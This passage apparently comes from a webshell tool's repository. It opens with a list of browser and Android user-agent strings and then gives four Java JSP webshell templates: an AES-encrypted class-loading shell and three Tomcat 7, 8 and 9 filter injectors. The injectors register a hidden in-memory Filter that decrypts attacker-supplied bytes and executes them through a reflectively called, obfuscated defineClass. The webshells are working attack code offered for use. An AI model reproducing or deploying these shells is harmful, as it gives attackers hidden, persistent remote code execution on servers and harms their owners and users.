QQBrowser/9.5.11096.400 65 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.4482.400 QQBrowser/9.7.13001.400 66 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.4882.400 QQBrowser/9.7.13076.400 67 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5383.400 QQBrowser/10.0.1313.400 68 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2717.400 QQBrowser/9.6.11133.400 69 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3756.400 QQBrowser/10.5.4039.400 70 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3765.400 QQBrowser/10.6.4153.400 71 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5221.400 QQBrowser/10.0.1125.400 72 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3776.400 QQBrowser/10.6.4212.400 73 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400 74 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 QBCore/4.0.1301.400 QQBrowser/9.0.2524.400 75 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat 76 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3775.400 QQBrowser/10.6.4208.400 77 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3741.400 QQBrowser/10.5.3868.400 78 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3742.400 QQBrowser/10.5.3870.400 79 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.3538.400 QQBrowser/9.7.12954.400 80 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3754.400 QQBrowser/10.5.4020.400 81 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36 82 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36 83 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 84 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 85 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 86 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.75 87 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 88 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 89 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 90 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 91 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 92 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 93 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 94 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 95 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68 96 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 97 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 Edg/89.0.774.77 98 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 99 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.48 100 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 101 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.76 102 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 103 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 104 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 105 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 106 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 107 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 108 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 109 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68 110 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.91 Safari/537.36 111 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 112 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 113 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 114 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 115 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 116 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 117 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 118 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 119 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 120 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36 121 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 122 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 123 | Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 124 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi 7 MIUI/V11.0.4.0.PFLCNXM) 125 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 Pro MIUI/V12.0.4.0.QGGIDXM) 126 | Dalvik/2.1.0 (Linux; U; Android 10; MI MAX 3 MIUI/V12.0.1.0.QEDMIXM) 127 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 Pro MIUI/V12.0.7.0.QGGMIXM) 128 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi Note 5 MIUI/V11.0.2.0.PEICNXM) 129 | Dalvik/2.1.0 (Linux; U; Android 10; M2003J15SC MIUI/V12.0.7.0.QJOMIXM) 130 | Dalvik/2.1.0 (Linux; U; Android 10; M2006C3LG MIUI/V12.0.11.0.QCDMIXM) 131 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 Pro MIUI/V12.0.4.0.QGGINXM) 132 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi 7A MIUI/V12.0.2.0.QCMMIXM) 133 | Dalvik/2.1.0 (Linux; U; Android 10; Mi 9T MIUI/V12.0.7.0.QFJMIXM) 134 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 Pro MIUI/V12.0.4.0.QGGEUXM) 135 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 7 Pro MIUI/V12.0.5.0.QFHINXM) 136 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 MIUI/V12.0.4.0.QCOMIXM) 137 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 7 MIUI/V12.0.1.0.QFGMIXM) 138 | Dalvik/2.1.0 (Linux; U; Android 10; M2004J19C MIUI/V12.0.2.0.QJCINXM) 139 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 9S MIUI/V12.0.3.0.QJWMIXM) 140 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 MIUI/V12.0.1.0.QCOIDXM) 141 | Dalvik/2.1.0 (Linux; U; Android 10; M2004J19C MIUI/V12.0.4.0.QJCMIXM) 142 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi 8 MIUI/V12.0.2.0.QCNMIXM) 143 | Dalvik/2.1.0 (Linux; U; Android 10; M2003J15SC MIUI/V12.0.4.0.QJOMIXM) 144 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi Note 6 Pro MIUI/V12.0.1.0.PEKMIXM) 145 | Dalvik/2.1.0 (Linux; U; Android 10; M2003J15SC MIUI/V12.0.6.0.QJOMIXM) 146 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 9 Pro MIUI/V12.0.2.0.QJZMIXM) 147 | Dalvik/2.1.0 (Linux; U; Android 8.1.0; MI 8 SE MIUI/V10.0.1.0.OEFMIFH) 148 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi Note 7 MIUI/9.12.5) 149 | Dalvik/2.1.0 (Linux; U; Android 8.1.0; Redmi 5 MIUI/V11.0.2.0.ODAMIXM) 150 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 7 MIUI/V12.0.3.0.QFGCNXM) 151 | Dalvik/2.1.0 (Linux; U; Android 7.1.2; Redmi Note 5A MIUI/V11.0.3.0.NDFMIXM) 152 | Dalvik/2.1.0 (Linux; U; Android 10; M2004J7AC MIUI/V12.0.7.0.QJHCNXM) 153 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi 6A MIUI/V11.0.8.0.PCBMIXM) 154 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 MIUI/V12.0.2.0.QCOINXM) 155 | Dalvik/2.1.0 (Linux; U; Android 10; MI 8 Lite MIUI/V12.0.3.0.QDTMIXM) 156 | Dalvik/2.1.0 (Linux; U; Android 10; Mi 9T Pro MIUI/V12.0.5.0.QFKMIXM) 157 | Dalvik/2.1.0 (Linux; U; Android 10; M2006C3MG MIUI/V12.0.10.0.QCRMIXM) 158 | Dalvik/2.1.0 (Linux; U; Android 10; M2004J19C MIUI/V12.0.2.0.QJCMIXM) 159 | Dalvik/2.1.0 (Linux; U; Android 7.1.2; Redmi 4A MIUI/V10.2.3.0.NCCMIXM) 160 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi 8A MIUI/V12.0.2.0.QCPMIXM) 161 | Dalvik/2.1.0 (Linux; U; Android 6.0.1; Redmi 3S MIUI/V10.2.2.0.MALMIXM) 162 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi Note 7 MIUI/V11.0.8.0.PFGEUXM) 163 | Dalvik/2.1.0 (Linux; U; Android 10; M2004J19C MIUI/V12.0.2.0.QJCIDXM) 164 | Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 8 MIUI/V12.0.2.0.QCOIDXM) 165 | Dalvik/2.1.0 (Linux; U; Android 7.1.2; Redmi Note 5A MIUI/V11.0.2.0.NDKMIXM) 166 | Dalvik/2.1.0 (Linux; U; Android 9; Redmi 6 Pro MIUI/V12.0.4.0.PDMMIXM) 167 | Dalvik/2.1.0 (Linux; U; Android 10; Mi 9T Pro MIUI/V12.0.3.0.QFKEUXM) 168 | Dalvik/2.1.0 (Linux; U; Android 9; Mi A1 MIUI/V10.0.24.0.PDHMIXM) -------------------------------------------------------------------------------- /webshell/java/common.txt: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,javax.crypto.*"%><%try{List l=new ArrayList<>();l.add(response);String k="{@key}";String r="";{@getvalue}byte[] f={@decode};byte[] g;Cipher c=Cipher.getInstance("AES");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));g=c.doFinal(f);String h=new String(g);if(java.util.regex.Pattern.matches("[\\w.]{1,40}@.+",h)){l.add(h.substring(h.indexOf('@')+1));Class.forName(h.substring(0,h.indexOf('@'))).newInstance().equals(l);return;}if(g[0]==-54&&g[1]==-2&&g[2]==-70&&g[3]==-66){session.setAttribute("k",g);}else if(session.getAttribute("k")!=null){byte[] t=(byte[])session.getAttribute("k");byte[] y=new byte[t.length+g.length];System.arraycopy(t,0,y,0,t.length);System.arraycopy(g,0,y,t.length,g.length);session.setAttribute("k",y);}byte[] u=(byte[])session.getAttribute("k");java.lang.reflect.Method m=ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}),byte[].class,int.class,int.class);m.setAccessible(true);((Class)m.invoke(this.getClass().getClassLoader(),u,0,u.length)).newInstance().equals(l);session.setAttribute("k",null);}catch(Exception e){}%> -------------------------------------------------------------------------------- /webshell/java/tomcat7_filter.txt: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java"%><%@ page import="java.util.*,javax.crypto.*,java.lang.reflect.*,javax.servlet.*,java.io.*,org.apache.catalina.*,org.apache.catalina.core.*,org.apache.catalina.deploy.*"%><% class F implements Filter{public void init(FilterConfig a)throws ServletException{}public void doFilter(ServletRequest y,ServletResponse i,FilterChain v)throws IOException,ServletException{try{List a=new ArrayList<>();a.add(i);String k="{@key}";String r="";{@getvalue}byte[] w={@decode};byte[] f;Cipher c=Cipher.getInstance("AES");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));f=c.doFinal(w);String g=new String(f);if(java.util.regex.Pattern.matches("[\\w.]{1,40}@.+",g)){a.add(g.substring(g.indexOf('@')+1));Class.forName(g.substring(0,g.indexOf('@'))).newInstance().equals(a);return;}HttpSession z=request.getSession();if(f[0]==-54&&f[1]==-2&&f[2]==-70&&f[3]==-66){z.setAttribute("k",f);}else if(z.getAttribute("k")!=null){byte[]h=(byte[])z.getAttribute("k");byte[] j=new byte[h.length+f.length];System.arraycopy(h,0,j,0,h.length);System.arraycopy(f,0,j,h.length,f.length);z.setAttribute("k",j);}try{byte[] l=(byte[])z.getAttribute("k");Method m=ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}),byte[].class,int.class,int.class);m.setAccessible(true);((Class)m.invoke(this.getClass().getClassLoader(),l,0,l.length)).newInstance().equals(a);z.setAttribute("k",null);}catch(Exception e){return;}}catch(Exception e){v.doFilter(y,i);}}public void destroy(){}}%><%Object a=request.getSession().getServletContext();Field b=a.getClass().getDeclaredField("context");b.setAccessible(true);Object c=b.get(a);Field d=c.getClass().getDeclaredField("context");d.setAccessible(true);StandardContext e=(StandardContext)d.get(c);Field f=e.getClass().getDeclaredField("filterConfigs");f.setAccessible(true);Map g=(Map)f.get(e);String name="F";if(g.get(name)==null){F h=new F();FilterDef j=new FilterDef();j.setFilterName(name);j.setFilterClass(h.getClass().getName());j.setFilter(h);e.addFilterDef(j);FilterMap l=new FilterMap();l.addURLPattern("/index.html");l.setFilterName(name);l.setDispatcher(DispatcherType.REQUEST.name());e.addFilterMapBefore(l);Constructor q=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);q.setAccessible(true);g.put(name,q.newInstance(e,j));out.write("Success!");}else{out.write("Injected!");}%> -------------------------------------------------------------------------------- /webshell/java/tomcat8_filter.txt: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java"%><%@ page import="java.util.*,javax.crypto.*,java.lang.reflect.*,javax.servlet.*,java.io.*,org.apache.catalina.*,org.apache.catalina.core.*,org.apache.tomcat.util.descriptor.web.*"%><% class F implements Filter{public void init(FilterConfig a)throws ServletException{}public void doFilter(ServletRequest y,ServletResponse i,FilterChain v)throws IOException,ServletException{try{List a=new ArrayList<>();a.add(i);String k="{@key}";String r="";{@getvalue}byte[] w={@decode};byte[] f;Cipher c=Cipher.getInstance("AES");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));f=c.doFinal(w);String g=new String(f);if(java.util.regex.Pattern.matches("[\\w.]{1,40}@.+",g)){a.add(g.substring(g.indexOf('@')+1));Class.forName(g.substring(0,g.indexOf('@'))).newInstance().equals(a);return;}HttpSession z=request.getSession();if(f[0]==-54&&f[1]==-2&&f[2]==-70&&f[3]==-66){z.setAttribute("k",f);}else if(z.getAttribute("k")!=null){byte[]h=(byte[])z.getAttribute("k");byte[] j=new byte[h.length+f.length];System.arraycopy(h,0,j,0,h.length);System.arraycopy(f,0,j,h.length,f.length);z.setAttribute("k",j);}try{byte[] l=(byte[])z.getAttribute("k");Method m=ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}),byte[].class,int.class,int.class);m.setAccessible(true);((Class)m.invoke(this.getClass().getClassLoader(),l,0,l.length)).newInstance().equals(a);z.setAttribute("k",null);}catch(Exception e){return;}}catch(Exception e){v.doFilter(y,i);}}public void destroy(){}}%><%Object a=request.getSession().getServletContext();Field b=a.getClass().getDeclaredField("context");b.setAccessible(true);Object c=b.get(a);Field d=c.getClass().getDeclaredField("context");d.setAccessible(true);StandardContext e=(StandardContext)d.get(c);Field f=e.getClass().getDeclaredField("filterConfigs");f.setAccessible(true);Map g=(Map)f.get(e);String name="F";if(g.get(name)==null){F h=new F();FilterDef j=new FilterDef();j.setFilterName(name);j.setFilterClass(h.getClass().getName());j.setFilter(h);e.addFilterDef(j);FilterMap l=new FilterMap();l.addURLPattern("/index.html");l.setFilterName(name);l.setDispatcher(DispatcherType.REQUEST.name());e.addFilterMapBefore(l);Constructor q=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);q.setAccessible(true);g.put(name,q.newInstance(e,j));out.write("Success!");}else{out.write("Injected!");}%> -------------------------------------------------------------------------------- /webshell/java/tomcat9_filter.txt: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java"%><%@ page import="java.util.*,javax.crypto.*,java.lang.reflect.*,javax.servlet.*,java.io.*,org.apache.catalina.*,org.apache.catalina.core.*,org.apache.tomcat.util.descriptor.web.*"%><% class F implements Filter{public void init(FilterConfig a)throws ServletException{}public void doFilter(ServletRequest y,ServletResponse i,FilterChain v)throws IOException,ServletException{try{List a=new ArrayList<>();a.add(i);String k="{@key}";String r="";{@getvalue}byte[] w={@decode};byte[] f;Cipher c=Cipher.getInstance("AES");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));f=c.doFinal(w);String g=new String(f);if(java.util.regex.Pattern.matches("[\\w.]{1,40}@.+",g)){a.add(g.substring(g.indexOf('@')+1));Class.forName(g.substring(0,g.indexOf('@'))).newInstance().equals(a);return;}HttpSession z=request.getSession();if(f[0]==-54&&f[1]==-2&&f[2]==-70&&f[3]==-66){z.setAttribute("k",f);}else if(z.getAttribute("k")!=null){byte[]h=(byte[])z.getAttribute("k");byte[] j=new byte[h.length+f.length];System.arraycopy(h,0,j,0,h.length);System.arraycopy(f,0,j,h.length,f.length);z.setAttribute("k",j);}try{byte[] l=(byte[])z.getAttribute("k");Method m=ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}),byte[].class,int.class,int.class);m.setAccessible(true);((Class)m.invoke(this.getClass().getClassLoader(),l,0,l.length)).newInstance().equals(a);z.setAttribute("k",null);}catch(Exception e){return;}}catch(Exception e){v.doFilter(y,i);}}public void destroy(){}}%><%Object a=request.getSession().getServletContext();Field b=a.getClass().getDeclaredField("context");b.setAccessible(true);Object c=b.get(a);Field d=c.getClass().getDeclaredField("context");d.setAccessible(true);StandardContext e=(StandardContext)d.get(c);Field f=e.getClass().getDeclaredField("filterConfigs");f.setAccessible(true);Map g=(Map)f.get(e);String name="F";if(g.get(name)==null){F h=new F();FilterDef j=new FilterDef();j.setFilterName(name);j.setFilterClass(h.getClass().getName());j.setFilter(h);e.addFilterDef(j);FilterMap l=new FilterMap();l.addURLPattern("/index.html");l.setFilterName(name);l.setDispatcher(DispatcherType.REQUEST.name());e.addFilterMapBefore(l);Constructor q=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);q.setAccessible(true);g.put(name,q.newInstance(e,j));out.write("Success!");}else{out.write("Injected!");}%> --------------------------------------------------------------------------------